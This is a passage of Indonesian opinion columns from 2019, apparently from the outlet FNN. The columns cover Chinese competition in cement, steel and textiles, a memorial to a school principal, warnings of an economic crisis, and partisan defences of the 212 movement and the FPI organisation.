peradilan. “Mungkin saja Enggar belum baca Mukadimah Anggaran Dasar dan Anggaran Rumah Tangga Partai Nasdem. Sebab prilaku Enggar yang menghindar dari penggilan KPK sebanyak tiga kali tersebut, menandakan Enggar tidak mengerti maksud dan tujuan Partai Nasdem dilahirkan. Yaa, kalau belum baca, sebaiknya Enggar baca lagi dululah pesan mulia dari Mukadimah Anggaran Dasar dan Anggaran Rumah Tangga Partai Nasdem, “ himbai Kisman. DPP Partai Nasdem dalam beberapa tahun terakhir, menyelenggarakan pendidikan Akademi Bela Negara (ABN). Sudah puluhan ribu kader Partai Nasdem yang mengikuti ABN ini. Salah satu poin materi penting dari kegiatan ABN ini adalah ketaatan setiap kader Nasdem kepada hukum positif yang berlaku. Sayangnya, prilaku Enggar ini berbanding terbalik seratus delapan puluh derajat dengan cita-cita besar Partai Nasdem. (ahly)

Cina Pengganggu Baja, Semen, dan Tekstil Kita

Oleh Dimas Huda (Wartawan Senior) Jakarta, FNN - Indonesia memang butuh investasi, terutama investasi asing. Hanya saja, jika penanaman modal asing itu datang ke sini untuk merebut pasar dalam negeri lalu membunuh industri milik bangsa Indonesia, itu sama saja kita menyerahkan leher bangsa ini ke asing. Gejala itu sudah mulai terjadi pada industri semen kita. Naga-naganya, industri baja juga segera menyusul. Beberapa tahun yang lalu, para investor China membawa Yuan ke sini. Mereka mendirikan pabrik semen. Selanjutnya untuk merangsang mereka, pemerintah membuka keran impor klinker, bahan baku utama semen. Dengan begitu pabrik-pabrik baru tersebut bisa langsung berproduksi karena bahan baku melimpah. Pemerintah berharap Yuan yang ditanam di sini bisa menyerap tenaga kerja lokal lalu, tentu saja, menambah devisa. Harapan selanjutnya, hasil produksi mereka nantinya diekspor. Benar. Pabrik-pabrik asal Negeri Tirai Bambu itu kini beroperasi. Beberapa orang bekerja di pabrik itu. Hanya saja, tanpa disadari, pemerintah telah menyerahkan pasar dalam negeri kepada mereka. Mestinya pada saat Pemerintahan Joko Widodo menggeber proyek infrastrutur, industri semen berpesta pora. Semen laris manis. Nyatanya, kondisi yang terjadi justru sebaliknya, industri semen nasional babak belur. Semen China membanjiri pasar dalam negeri dengan harga murah. Kini, beberapa pabrik besar menghentikan beberapa unit pabriknya. Pabrik itu antara lain milik PT Semen Indonesia (Persero) Tbk. dan PT Indocement Tunggal Prakarsa Tbk. Dua pabrik itu berhenti produksi karena produksi bubuk abu-abu ini di dalam negeri sudah melebihi permintaan nasional. Politisi yang juga pengusaha, Andre Rosiade, mengungkap selain dua pabrik itu, pabrik Semen di Aceh, Semen Padang, Semen Baturaja, Semen Gresik, dan Semen Tonasa juga terpaksa menurunkan kapasitas produksinya, karena semen mereka tidak laku. Mereka kalah bersaing dengan semen China. Di sisi lain ada tiga pabrik semen baru lagi yang bakal beroperasi pada 2020/2021 di Jember, Jawa Timur; Grobogan, Jawa Tengah; dan Kalimantan Timur. “Ini akan menyulitkan lagi para produsen semen sebelumnya karena oversupply-nya bertambah lagi. Semoga kabinet yang baru nanti bisa mengerti dan bijak terhadap situasi dan kondisi industri semen ke depan,” tutur Ketua Asosiasi Semen Indonesia (ASI), Widodo Santoso. Menteri Perindustrian Airlangga Hartarto mengatakan kapasitas produksi di pabrik semen saat ini mencapai sekitar 100 juta ton, sementara itu tingkat konsumsi berkisar 60-68 juta ton. Jadi ada oversupply sekitar 40 juta ton. Anehnya, di tengah kondisi susah itu PT Conch Cement Indonesia, anak usaha dari pabrikan semen kelas kakap dunia Anhui Conch Cement Company (China), berencana meningkatkan kapasitas produksi hingga mencapai 25 juta ton dari saat ini hanya 2,3 juta ton per tahun. Anhui Conch Cement merupakan salah satu perusahaan terbesar di dunia versi Forbes, berada di peringkat 522 dalam daftar The World's Largest Public Companies 2018. Bos Anhui bilang konsumsi semen per kapita Indonesia masih kecil sehingga perlu ditingkatkan. Selain Conch Cement dengan merek dagang Conch, beberapa nama produk semen yang prinsipalnya dari investor China adalah Jui Shin dengan merek dagang semen Garuda. Lalu, Semen Hippo, Semen Jakarta, Semen Merah Putih dan lainnya. Merek-merek ini dijual lebih murah ketimbang semen produk perusahaan dalam negeri. Andre mengatakan industri semen lokal itu terancam karena semen dari prinsipal China diduga menjual dengan menggunakan predatory pricing atau menjual rugi. "Pasar semen lokal dalam kondisi sangat memprihatinkan atau terancam bangkrut. Kenapa itu bisa terjadi karena ada kebijakan predatory pricing, di mana investor semen China yakni semen Conchdengan sengaja menjual semen di Indonesia dengan harga merugi," katanya. Baja Pemerintah tampaknya tidak belajar dari kasus semen. Buktinya, di tengah kondisi pabrik baja dalam negeri yang sekarat pemerintah menggelar karpet merah untuk perusahaan asal China, Hebei Bishi Steel Group. Perusahaan ini membangun pabrik baja di Kabupaten Kendal, Jawa Tengah, dengan nilai investasi US$2,54 miliar. Pabrik tersebut rencananya yang terbesar di Asia karena mampu menyerap 6.000 hingga 10.000 tenaga kerja. Serta direncanakan beroperasi pada 2019 ini atau paling lambat 2020. Bisa dibayangkan, bila pabrik ini nanti berproduksi. Pasar baja tentu akan makin keras. PT Krakatau Steel Tbk. (KS) yang kini sedang megap-megap karena impor baja dari China akan makin sekarat. Perusahaan baja China ini mendirikan pabrik baja di Indonesia berarti telah memasuki jantungnya pasar. Nantinya, mereka tak perlu lagi mengirim baja dari negerinya. Kebutuhan baja untuk pembangunan infrastruktur di sini langsung mereka layani. Kini, Krakatau Steel memiliki utang yang sangat besar, yakni US$2,49 miliar atau Rp34,86 triliun (kurs Rp14.000) pada akhir 2018. Utang yang menggunung itu memaksa KS berencana melakukan Pemutusan Hubungan Kerja (PHK) kepada 1.300 karyawan organiknya. Menurut The South East Asia Iron and Steel Institute (SEAISI), pada tahun 2018, jumlah impor baja Indonesia mencapai 7,6 juta ton. Sedangkan berdasar Badan Pusat Statistik (2018), impor besi dan baja merupakan komoditas impor terbesar ketiga Indonesia. Impor benda keras ini 6,45% dari total impor. Indonesia merogoh kocek US$10,25 miliar untuk impor komoditas ini. BPS juga mencatat pada Januari hingga April 2019 Indonesia mengimpor besi dan baja dari China sebesar US$768,62 juta. Para periode tersebut neraca perdagangan Indonesia defisit sebesar US$2,56 miiar. Defisit ini tercatat lebih besar ketimbang periode yang sama tahun lalu US$1,4 miliar. Tekstil Barang China sudah menjadi pengganggu pasar bagi produk anak negeri. Selain semen dan baja, sejumlah pengusaha tekstil dan produk tekstil atau TPT belakangan ini juga secara seragam mengeluhkan membanjirnya pakaian impor dari China. Pengusaha domestik kewalahan bersaing. Harga barang China itu dijual lebih murah. Tekstil China masuk pasar Indonesia sejak perang dagang antara China dan Amerika Serikat (AS). Produk Negeri Panda itu yang tadinya mengalir ke negeri Paman Sam sejak Mei lalu sebagian membanjiri pasar Indonesia. Berdasarkan catatan S&P, bea masuk baru senilai 25% yang dikenakan oleh AS untuk produk impor asal China, termasuk tekstil, telah membuat produsen tekstil asal China merelokasi penjualannya ke negara-negara yang lebih bersahabat seperti Indonesia. Gempuran produk dari China itu membuat pasar tekstil dalam negeri kebanjiran pasokan (oversupply) sehingga harga pun jatuh. Di saat yang bersamaan, S&P mencatat, konsumsi masyarakat Indonesia sedang relatif lemah. Produk China kini menjadi pengganggu pasar produk-produk dalam negeri. Ini adalah masalah. Pemerintah perlu mengambil kebijakan yang adil untuk melindungi industry dalam negeri. Jangan lantaran dekat dengan China, lalu dikorbankan industri bangsa sendiri. End

Selamat Jalan Pak Anton

Oleh Anies Baswedan (Gubernur DKI) Jakarta, FNN - Namanya Wahyuntono, biasa dipanggil Pak Anton. Setiap pukul 06.30 beliau sudah berdiri di gerbang sekolah. Beliau menyapa kami dengan senyum hangat. Pukul 07.00 pintu gerbang ditutup. Tapi Pak Anton tidak pergi. Beliau tetap menyapa yang terlambat. Ditanya satu-satu, mengapa terlambat. Mereka jera, ditanya langsung kepala sekolah. Sekolah jadi tertib. Parkiran motor siswa di sekolah kami cukup panjang. Pak Anton selalu parkir di ujung depan parkiran motor siswa, dekat pintu keluar. Sekiranya ada pencuri, motor vespa hijau itu yang paling mudah diambil. Pak Anton menyapa ke kelas-kelas. Dari jendela, beliau memantau suasana kelas, cara guru mengajar dan cara siswa belajar. Beliau mendorong siswanya untuk aktif organisasi. “Anies, kamu ke Jakarta ya. Ikut pelatihan Ketua OSIS se-Indonesia,” kata Pak Anton. Pagi itu saya dipanggil ke ruang kepsek. Diberi surat undangan dari Kemdikbud & Disdik yang meminta sekolah kami mengirim utusan ke Jakarta. Saya duduk di kelas 1 dan dapat tugas mewakili sekolah kami. Sebelum berangkat, beliau bekali dengan nasihat. Saya ke Jakarta bawa semangat. Itulah wajah kehangatan dan contoh kepemimpinan kepala sekolah kami. Setiap guru, siswa merasakan kehadirannya dalam bentuk suasana sekolah yang sehat. Beliau tidak menghardik dan membentak untuk disegani. Tapi membimbing, mengarahkan, lalu menuntun untuk meraih target. Saat bertugas di Kementrian Pendidikan dan Kebudayaan (2015), kami undang Pak Anton ke Jakarta. Menghadiri peringatan hari guru. Beliau sudah pensiun, usianya 76 tahun. Jalannya pelan, tapi tegap dan penuh semangat. Saya sambut, salami dan cium tangannya. Beliau peluk erat sekali, dalam haru beliau berkata, “dulu saya kirim kamu ke Jakarta diundang kementerian, sekarang kamu ngantor di ruang ini.” Di ruangan, Kepala Sekolah teladan itu sempat diam seakan tak percaya. Saya dengarkan semua ceritanya. Masih seperti dulu, saya tetap muridnya. Kami sering berkabar, beliau beri nasihat, tetap jadi guru. Hari ini, 1 Agustus 2019, semua ingatan keteladanannya seakan diputar ulang. Ya, hari ini Pak Anton akan dimakamkan di Yogyakarta, 80 tahun usianya. Doa ribuan muridnya mengiringi. InsyaAllah, pahala padanya tak berhenti mengalir lewat ilmu yang diamalkan murid-muridnya. Allahhummaghfir lahu warhamhu wa'aafihi wa'fu anhu ...

Tanda-Tanda Krisis Itu Makin Tegas

Oleh Hudzaifah (Wartawan Senior) Jakarta, FNN - Tidak bisa dipungkiri roda perekonomian sepanjang Januari hingga Juli 2019 menunjukkan fenomena menarik. Terutama terjadi berbagai penurunan kinerja baik di level APBN, BUMN, korporasi hingga di level masyarakat, seolah sepakat mengatakan kita sudah memasuki periode krisis ekonomi. Narasi di atas seolah menggambarkan bahwa krisis akan datang, tidak. Justru krisis sudah datang dan menghantam seluruh infrastruktur perekonomian kita. Sehingga hanya orang-orang yang mengerti perekonomian baik dari sisi mikro maupun makro yang memahami bahwa sesungguhnya kita sedang berada dalam siklus krisis. Coba tengok saja release Badan Pusat Statistik (BPS) soal angka pertumbuhan ekonomi Indonesia untuk kuartal II-2019. Release data ini menjadi begitu penting jika mengingat perekonomian Indonesia tumbuh jauh di bawah target para ekonom pada tiga bulan pertama tahun ini. Untuk periode kuartal I-2019, BPS mencatat bahwa perekonomian Indonesia tumbuh sebesar 5,07% secara tahunan (year-on-year--YoY), jauh lebih rendah dibandingkan konsensus ekonom sebesar sebesar 5,19% YoY. Bila pertumbuhan ekonomi pada tiga bulan kedua tahun 2019 kembali berada di bawah ekspektasi, tentu pertumbuhan ekonomi untuk keseluruhan tahun 2019 hampir bisa dipastikan akan mengecewakan. Asal tahu saja, pemerintah mematok target pertumbuhan ekonomi untuk tahun 2019 di level 5,3%. Sejumlah perusahaan sekuritas asing justru memproyeksikan bahwa perekonomian Indonesia akan tumbuh di bawah 5% pada tahun 2019. Melansir konsensus yang dihimpun oleh Bloomberg, JPMorgan Chase dan Goldman Sachs Group, memproyeksikan ekonomi Indonesia tumbuh 4,9% pada tahun ini, sementara Deutsche Bank menaruh proyeksinya di level 4,8%. Kalau kita berkaca ke belakang, sudah lama sekali perekonomian Indonesia tumbuh stagnasi. Bahkan, loyonya perekonomian Indonesia sudah terjadi di masa awal kepemimpinan Joko Widodo (Jokowi) sebagai presiden. Diduga pertumbuhan tidak bisa eksplosif lantaran terlalu berat beban utang yang harus ditanggung APBN, sehingga penerimaan yang ada bukan digunakan untuk menggenjot pertumbuhan, tapi habis tertelan angin untuk membayar pokok dan bunga utang. Sinyal bahwa krisis itu memang ada dan sinyalnya cukup kuat datang dari pasar modal. PT Merryll Lynch Sekuritas Indonesia dan PT Deutsche Sekuritas Indonesia, sebuah perusahaan asal Amerika dan Jerman, menutup bisnis brokernya di Indonesia. Itu artinya kedua broker asing itu berhenti sebagai Anggota Broker (AB) di Bursa Efek Indonesia (BEI) per 11 Juli 2019. Padahal untuk menjadi AB di BEI tidak mudah dan tidak pula murah. Alasannya, selain sedang melakukan restrukturisasi di kantor pusat, likuiditas di pasar modal Indonesia sudah kering sehingga tak menarik lagi bagi kedua perusahaan sekuritas asing tersebut. Ini juga merupakan sinyal buruk bahwa terjadi crowding out effect di pasar. Dimana Pemerintah Indonesia begitu getol mencari likudiitas di pasar lewat penerbitan Surat Berharga Negara (SBN) dengan bunga tinggi. Akibatnya industri perbankan, industri pasar modal, industri asuransi dan industri finance harus bersaing dengan regulator dan sekaligus operator, yang sudah pasti akan kalah. Pasar pun dikuasai Pemerintah, bank-bank, perusahaan emiten, perusahaan asuransi dan perusahan finance lambat laun tersingkir dari pasar Indonesia. Padahal tugas pemerintah seharusnya melakukan pendalaman pasar, bukannya memperkeruh pasar, sehingga likudiitas begitu sulit diperoleh oleh selain pemain Pemerintah. Tanda-tanda lain yang menunjukkan adanya krisis adalah kasus gagal bayar (default) obligasi mendera perusahaan tekstil terbesar Indonesia, PT Delta Merlin Dunia Textile. Anak usaha perusahaan tekstil ternama Duniatex Group ini dikabarkan gagal bayar bunga dan pokok surat utang senilai US$11 juta atau ekuivalen dengan Rp154 miliar (dengan kurs 14.015). Terang saja, gagal bayar ini membuat bank ketar-ketir. Setidaknya ada 10 bank kreditur yang telah menyalurkan kredit kepada anak Duniatex itu. Pada 2018 saja, duit yang mengalir dari bank-bank itu ke perusahaan tersebut senilai Rp5,25 triliun dan US$362 juta. Delta bermaksud menerbitkan obligasi senilai US$300 juta. Pada Rabu (24/7) Bloomberg melaporkan, lembaga pemeringkat S&P menurunkan peringkat utang Delta sebanyak 6 level hingga menyentuh skor CCC-, skor yang dapat dikatakan obligasi sampah (junk bond). Tidak hanya S&P, Fitch Ratings juga menurunkan peringkat utang perusahaan menjadi B- pada Kamis pekan lalu. Dalam catatan J.P Morgan, ada tiga bank plat merah yang turut menjadi kreditur anak perusahaan, salah satunya PT Bank Mandiri (Persero) Tbk, yang menjadi bank terbesar dalam penyaluran kredit kedua setelah Bank Exim pada 2018. Sebelumnya potensi gagal bayar juga mengepung PT Kawasan Industri Jababeka Tbk (KIJA) pimpinan Setyono Djuandi Dharmono, sang penggagas penghapusan pendidikan agama di sekolah. Perusahaan ini berpotensi default atas surat utang anak perusahaan senilai US$300 juta berikut dengan bunga. Bukan hanya mereka saja yang begitu, PT Agung Podomoro Land Tbk juga sedang panik. Pemain properti ini tengah berupaya memperoleh suntikan pendanaan dari pemegang saham untuk dapat melakukan pembayaran dari sejumlah kewajiban yang jatuh tempo pada tahun ini. Selain Perjanjian Fasilitas I yang jatuh tempo Juni lalu, terdapat beberapa utang lainnya yang juga akan jatuh tempo di tahun ini antara lain obligasi sebesar Rp451 miliar yang jatuh tempo pada Desember 2019 dan obligasi senilai Rp99 miliar yang jatuh tempo pada bulan Maret 2020. Selain menunggu suntikan dari pemegang saham, perusahaan juga tengah mencari pinjaman lainnya bersama dengan kreditor yang berasal dari Perjanjian Fasilitas II. Pada 17 Juli, Fitch Ratings menurunkan rating perusahaan dan obligasi yang diterbitkan perseroan menjadi CCC- dari sebelumnya B- akibat risiko pendanaan ulang (refinancing) dan risiko likuiditas. “Penurunan peringkat mencerminkan risiko refinancing dan risiko likuiditas yang meningkat, seiring dengan penundaan rencananya mencari pendanaan pada Mei 2019 yang berniat digunakan untuk mendanai kembali obligasi domestik jangka pendek dan melunasi kredit sindikasi Rp1,17 triliun,” tulis rilis Direktur Fitch Ratings Singapore Pte Ltd Erlin Salim dalam risetnya. Dari BUMN sinyal krisis itu juga hadir. Kasus PT Krakatau Steel Tbk yang membukukan rugi Rp1,06 triliun dengan total utang mencapai Rp40 triliun, menunjukkan adanya krisis di industri baja. Bagaimana mungkin Krakatau Steel dapat bersaing dengan baja China, dimana dari negaranya sudah mendapat potongan pajak (tax rebate) 10% plus tax holiday dari Pemerintah Indonesia berupa pembebasan bea masuk 15%. Praktis baja China di Indonesia sudah unggul 25% atas Krakatau Steel, sebuah level playing field yang tidak seimbang. Anehnya situasi ini dinikmati sebagai sebuah keberhasilan mengundang investor. Investor mana yang tidak tertarik kalau dalam 5 hingga 10 tahun ke depan dapat membunuh industri baja nasional? Padahal di negara manapun selalu berusaha melindungi industri strategisnya, baja adalah industri strategis yang harus dilindungi. Andai saja founding father kita Presiden Soekarno masih hidup, dia akan memaki-maki pemerintah saat ini. Bagaimana mungkin Krakatau Steel yang dibangunnya harus diperlakukan secara diskriminatif oleh pemerintahnya sendiri. Belum lagi PT Garuda Indonesia Tbk yang ngebet membukukan laba bersih lewat window dressing. Pat gulipat laporan keuangan berhasil membuat Garuda seolah-olah membukukan laba bersih Rp70 miliar pada 2018. Ternyata setelah diaudit BPKP, pada 2018 Garuda masih harus membukukan rugi bersih Rp2,4 triliun, sungguh terlalu sandiwara keuangan yang dilakukan I Gusti Ngurah Ashkara Danadiputra dan kawan-kawan. Dirut Garuda itupun harus kena sanksi denda atas upaya minteri rakyat Indonesia lewat laporan keuangan palsu, lewat financial engineering, bahkan saham Garuda pun tergelincir dibuatnya. Belum lagi PT Pertamina yang seharusnya menyumbang dividen laba paling besar ke APBN, justru mendapati ketidakjelasan berapa laba bersih yang sebenarnya. Presiden Jokowi menyebut laba bersih Pertamina sedikitnya Rp20 triliun, sementara laporan internal Pertamina menyebutkan sekitar Rp5 triliun. Padahal di 2016 Pertamina pernah mengalahkan Petronas dengan membukukan laba bersih Rp42 triliun, saat itu Petronas hanya membukukan laba bersih Rp36 triliun. Apa yang terjadi hari ini, di tengah ketidakjelasan laba bersih Pertamina? Petronas yang 25 tahun lalu belajar ke Pertamina, pada 2018 berhasil membukukan laba bersih Rp189 triliun atau 55,3 miliar ringgit. Sungguh sebuah ironi yang sulit dihindari, seluruh laba BUMN jika dikumpulkan hanya Rp188 triliun, masih lebih besar laba bersih satu Petronas. Ironi yang mencolok mata kita. Lepas dari problematika yang melanda ekonomi nasional, ekonomi mikro dan makro, yang jelas krisis itu sudah berlangsung. Dan itu direpresentasikan dari data-data yang kami urai di atas. Tinggal seberapa serius Pemerintah untuk membenahi krisis ini, sebab jika asumsi para menteri masih yang itu-itu juga, maka kita sangat meyakini krisis ini akan semakin luas dan dalam. Itu sebabnya Presiden Jokowi harus memilih menteri yang tepat, yakni yang memiliki track record membenahi APBN. Bukan sebaliknya melanjutkan tradisi menambal APBN yang defisit dengan utang, utang dan utang. Bisa-bisa Republik Indonesia tenggelam dibuatnya. End.

Pusing 212: Negara dengan 80 Juta Teroris?

Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Hari-hari ini, para pengamat politik gencar membahas tentang apa yang akan terjadi terhadap gerakan 212. Gerakan ini terkenal dengan aksi damainya, terutama di ibukota. Aksi-aksi damai yang muncul dan langsung besar di pengujung 2016 dan awal 2017 itu, sama sekali tidak mengganggu Jakarta. Tetapi, ada pihak yang merasa sangat terbebani oleh 212. Ada beban politik yang sangat berat akibat keberhasilan 212. Beban itu secara natural tertimpakan kepada orang-orang yang resah melihat kebangkitan Islam politik. Sebelum dilanjutkan, perlu ditanya dulu apakah valid menteorikan bahwa 212 identik dengan kebangkitan Islam politik? Pertanyaan ini lebih baik dijawab dengan pertanyaan juga. Kalau bukan kristalisasi kebangkitan Islam politik, mau disebut apa gerakan itu? Sekadar kumpul-kumpul saja? Sangat absurd! Baik. Kita teruskan. Sebagian pemerhati politik berpendapat 212 akan menjadi tak relevan lagi setelah Prabowo digiring masuk ke kubu 02. Tidak ada lagi pemimpinnya. Ada pula pengamat yang memperkirakan 212 akan meredup dan kemudian sirna. Yang lain memperkirakan 212 akan menjadi “anak ayam kehilangan induk” setelah kepergian Prabowo ke kubu 01. Akan tercerai-berai. Tetapi, semua teori atau dugaan itu tidak akan ada yang tepat. Memperkirakan 212 akan lenyap adalah kekeliruan berpikir yang disengaja. Mengatakan 212 akan selesai, hanya menunjukkan frustrasi Anda melihat Islam politik yang semakin matang dalam berstrategi. Gerakan 212 tidak tergantung pada Prabowo. Sebaliknya, 212-lah yang mengajak Prabowo berjuang melawan kesewenangan. Ke depan, gerakan ini juga tidak akan tergantung pada tokoh personalitas seperti Habib Rizieq, dsb. Gerakan ini cukup dipimpin oleh seorang koordinator yang mirip dengan “admin” di grup-grup WA. Kenapa? Karena 212 diramaikan oleh lapisan intelektual dan kelas menengah. Mereka ini semua memiliki pemahaman yang komplit tentang gerakan 212, tentang tujuannya dan cara-cara yang digunakan. Semua pendukung 212 mengerti bahwa gerakan 212 adalah Islam politik yang akan selalu damai. Semua praktisi 212 tahu bahwa mereka berkumpul di kelompok umat garis lurus. Yang paling gerah terhadap gerakan 212 adalah orang-orang yang sedang berkuasa. Para penguasa itu tidak bisa tidur nyenyak. Mereka serasa dikejar oleh sosok yang menakutkan bagi mereka. Tetapi tidak menakutkan bagi orang lain. Mereka tahu 212 adalah isyarat kebangkitan Islam politik. Yang diprakarsasi dan diisi oleh umat Islam garis lurus. Yaitu, kumpulan umat yang berasal macam-macam ormas dan orpol. Umat garis lurus memiliki tekad untuk menegakkan keadilan bagi semua dan melawan kezaliman. Sejauh ini, umat garis lurus dipimpin oleh orang-orang yang tidak serakah tetapi tegas. Ketegasan mereka dalam melawan kezaliman membuat para penguasa gerah dan resah. Mereka sekarang menggunakan segala cara untuk melemahkan dan melenyapkan gerakan 212. Salah satu cara ampuh yang mungkin akan dilakukan adalah mendemonisasikan (menjelekkan) 212. Memberikan label yang buruk dan menakutkan. Sangat mungkin 212 akan dikait-kaitan dengan paham radikal. Merekan boleh jadi akan disusupi dengan elemen-elemen jahat yang kemudian akan merusak nama baik 212. Sangat mungkin pula pihak tertentu menyusupkan orang-orang yang akan “diatur” untuk melakukan tindak kekerasan dengan membawa-bawa nama 212. Termasuk melakukan tindakan terorisme. Sehingga, penguasa memiliki alasan untuk mencap 212 sebagai gerakan teroris. Mungkinkah melabel 212 sebagai teroris menjadi kenyataan? Bisa saja. Sebab, 212 akan terus membayangi ketidakmakpuan pemguasa dalam menegakkan keadilan. Ini sangat merisaukan mereka. Tapi, apakah masuk akal mengatakan 212 sebagai gerakan teroris? Inilah yang menjadi masalah. Sangat tak mungkin mengatakan 212 sebagai gerakan teroris. Sebab, 212 adalah representasi 80 juta pemilih Islam garis lurus. Anda pusing dengan 212? Tak perlu. Kalau Anda pusing, bisa-bisa Anda terpaksa mengatakan Indonesia ini adalah negara dengan 80 juta teroris. Menjadi konyol, bukan? Padahal, mereka hanya arus baru Islam politik. Arus yang jernih dan bening, insyaAllah.

Arus Deras Desakan Pembubaran FPI

Oleh Sugito Atmo Pawiro Jakarta, FNN - Media sosial diramaikan dengan perang tagar #BubarkanFPI versus #SaveFPI yang menandai adanya dua kelompok di masyarakat yang terlibat friksi akut. Satu faksi yang gencar mendorong Presiden Jokowi untuk membubarkan Ormas Islam FPI berhadapan dengan kelompok di masyarakat yang menjadi simpatisan FPI dan bersikeras untuk menjaga eksistensi Ormas Islam ini agar terus menjalankan peran sosialnya di negeri ini sepanjang republik ini masih ada. Kita memahami bahwa pemerintahan Jokowi tidak sulit untuk membubarkan Ormas. Dengan Peraturan Pemerintah Pengganti Undang-Undang (Perppu) Nomor 2 tahun 2017 tentang perubahan atas UU Nomor 17 tahun 2013 tentang Organisasi Kemasyarakatan (Ormas) yang telah ditetapkan menjadi UU Nomor 16 Tahun 2017, memungkinkan pemerintah untuk membubarkan ormas tanpa melalui proses pengadilan. Pembubaran dapat dimaknai bahwa Kementerian Dalam Negeri mencabut surat keterangan terdaftar dan Kementerian Hukum dan HAM mencabut atau membekukan badan hukum Ormas tanpa proses peradilan sebagaimana dimaksud UU Nomor 16 Tahun 2017. Untuk sampai kepada level beleid ini, harus dapat dibuktikan lebih dahulu bahwa Ormas tersebut memiliki ideologi selain Pancasila dan terbukti mengganggu ketertiban umum dan keamanan negara. Fakta yang sebenarnya terjadi adalah Izin ormas FPI terdaftar dalam SKT 01-00-00/010/D.III.4/VI/2014 dan sudah habis masa berlakunya pada 20 Juni 2019. Mendagri sebenarnya masih menunggu persyaratan tertentu dilengkapi FPI sebagai syarat perpanjangan izin. Namun demikian justru Presiden Joko Widodo menyatakan bahwa kemungkinan pemerintah untuk tak memperpanjang izin FPI sebagai organisasi masyarakat. Secara yuridis sebenarnya ada ketegasan hukum di dalam Putusan MK Nomor 82/PUU-XI/2013 bahwa sebagai bagian dari kebebasan berserikat menurut UUD 1945, maka Ormas dapat mendaftarkan kepada instansi yang berwenang dan dapat juga tidak mendaftarkan izinnya, tetapi negara tidak dapat menyatakannya sebagai organisasi terlarang dan juga tidak dapat melarang ormas untuk melakukan kegiatannya, sepanjang kegiatannya tidak melanggar ketertiban umum dan melawan hukum. Dari sini jelas bahwa FPI tidak perlu mendaftarkan izinnya, apalagi jika pemerintah tidak memperpanjang izinnya sebagaimana pernyataan Jokowi. FPI sebagai ormas tetap saja bisa menjalankan kegiatannya. Dengan demikian tidak ada kandungan makna dari tekanan pihak yang tak senang untuk mendorong pembubaran FPI. Pasalnya, tidak ada alasan yuridis yang kuat untuk membubarkannya sebagaimana pemerintah membubarkan PKI. Dalam konteks FPI, alasan yuridis apa yang dipergunakan untuk membubarkan FPI? Pertanyaan yang mengemuka kemudian adalah dari mana datangnya desakan keras untuk membubarkan FPI, sebagaimana HTI beberapa waktu lalu? Dua pertanyaan inilah yang belum terjawab. Pernyataan Presiden Jokowi dengan jelas menyatakan bahwa FPI dapat saja dibubarkan jika memiliki ideologi yang berbeda dengan ideologi bangsa, Pancasila serta memiliki kecenderungan mengancam keamanan Negara Kesatuan Republik Indonesia (NKRI). Pernyataan ini semakin selaras dengan semangat jargon ‘Pancasila dan NKRI Harga Mati!’ yang identik diserukan oleh massa politik pendukung petahanan. Massa Islam di luar itu dianggap pendukung khilafah, Pan Islamisme, radikalisme, dan seterusnya. Tentu saja mereka memasukkan FPI di dalamnya. Izin FPI pun kemudian tidak diperpanjang sebagai langkah awal. Itulah sebabnya dalam wawancara dengan Associate Press (AP), Jokowi dengan lugas menyebut bahwa FPI dapat saja dibubarkan. Suatu keadaan yang tidak jauh berbeda dengan ulama besar FPI, Habib Rizieq Sihab (HRS) yang kini berada di Arab Saudi dan dianggap sebagai tokoh Islam yang menolak mengakui kemenangan Jokowi pada Pilpres 2019. Semua itu memperkuat keyakinan bahwa desakan pembubaran FPI semata terkait alasan politis untuk mengurangi kelompok yang mendelegitimasi keabsahan hasil Pilpres 2019. HRS dan FPI praktis dikondisikan untuk dipinggirkan. Aksi provokatif untuk meminggirkan FPI berujung pada usaha untuk membubarkannya. Kita juga memaklumi ada banyak kekuatan modal yang mengelola usaha “underground (di bawah tanah)” dan memiliki sikap anti terhadap kiprah organisasi massa Islam ini. Mereka yang bergelut pada bisnis dan pemakaian narkoba, pelacuran, perjudian, dan hiburan malam penuh maksiat memilih posisi berhadapan (resisten) terhadap FPI. Kelompok ini begitu gusar dengan intensitas kerja FPI yang dianggap mengancam keberlangsungan bisnis dan aktivitas yang menciptakan penyakit sosial (social disease) itu. Celakanya kelompok underground ini memiliki kapitalisasi untuk menanamkan pengaruhnya kepada publik dengan kampanye anti Ormas Islam yang memerangi kemaksiatan tersebut. FPI yang memiliki kader dengan mobilitas tinggi dalam aksi memerangi penyakit sosial ini kemudian disebut lantang dan disindir dengan stigma mengejek, seperti ujaran ‘Preman Berjubah’ guna mengidentifikasi massa FPI. Dalam tudingan yang lebih serius mencapai klimaksnya hari-hari terakhir ini, khususnya pasca Pilpres 2019 dalam mana Jokowi melanjutkan ambisi dua periode kekuasaannya di singgasana kursi presiden. FPI yang dikenal sebagai penopang massa politik pendukung Prabowo dalam Pilpres 2019, kian tersudutkan tak ubahnya parpol-parpol Koalisi Adil Makmur. Situasi ini yang kemudian seolah mendapatkan angin untuk menyeruhkan pembubaran FPI dengan alasan bahwa di dalam Anggaran Dasar FPI ingin menerapkan Syariat Islam di bawah naungan Khilafah, sehingga diklasifikasikan sebagai organisasi yang hendak merongrong ideologi bangsa. Provokasi yang Buta Literasi Luar biasa rasa kebencian yang dibangun dalam alam sadar penentang FPI yang melakukan provokasi meski mengalami kebutaan literasi. Pengusung kebencian yang memprovokasi pembubaran FPI tidak memahami latar belakang hadirnya FPI sebagai Ormas Islam yang inklusif (terbuka). FPI jelas berkiprah untuk menggerakkan misi ammar ma’ruf nahi munkar (mengajak pada kebaikan dan memerangi kemungkaran) dalam menyelesaikan berbagai problema kemanusiaan dengan pendekatan Keislaman melalui kerja kolektif dari seluruh umat Islam. Mereka tidak menyadari bahwa FPI didirikan oleh para haba’ib, ulama, muballigh serta aktivis muslim dan ummat Islam serta dipelopori oleh Muhammad Rizieq Shihab pada 17 Agustus 1998 (24 Rabiuts Tsani 1419 H) di Pondok Pesantren Al-Umm Ciputat dengan misi utama pada waktu itu adalah mengumandangkan reformasi moral dengan memiliki kewajiban untuk berperan serta dalam memberikan kontribusi positif untuk kemajuan bangsa. Masyarakat yang bersimpati dengan FPI menyadari betul misi sosial ormas ini. Dimana ada aksi penyelamatan bencana alam dan bencana sosial, seperti konflik rasial di seluruh penjuru negeri, FPI selalu menjadi unsur masyarakat sipil yang tampil terdepan dalam memberikan bantuan dan penyelamatan korban bencana (relief). Aksi ini yang kemudian menuai simpati luas dan bahkan menarik atensi media massa asing, meski media massa mainstream nasional menutup mata dalam lima tahun terakhir. Jadi, sebelum menindaklanjuti niat untuk tidak memperpanjang izin Ormas FPI, sesuai desakan 